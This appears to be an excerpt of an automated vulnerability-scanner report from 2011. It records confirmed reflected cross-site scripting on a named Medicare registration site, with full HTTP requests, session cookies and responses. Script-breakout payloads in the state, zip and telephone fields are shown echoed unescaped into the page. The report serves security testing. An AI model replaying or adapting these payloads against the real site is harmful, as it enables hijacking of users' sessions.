<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" hei..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET '"--></style></script><script>netsparker(0x0007D8)</script>
zip GET 3
demouserid GET 3
state POST '"--></style></script><script>alert(0x0007D8)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=3&city=3&state=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x0007D8%29%3C%2Fscript%3E&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000OyQY-ZG4myzF_u4tSzEuwcU:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="'"--></style></script><script>netsparker(0x0007D8)</script>" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET '"--></style></script><script>netsparker(0x0007FB)</script>
demouserid GET 3
zip POST '"--></style></script><script>alert(0x0007FB)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=3&city=3&state=3&zip=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x0007FB%29%3C%2Fscript%3E&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000fg_YTMeIdNbrjqMZVh_JZHG:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="'"--></style></script><script>netsparker(0x0007FB)</script>" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET '"--></style></script><script>alert(0x000932)</script>
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000932)%3C/script%3E&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000BqZZ6nllSJitf2rNsJ1GVfv:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:18 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
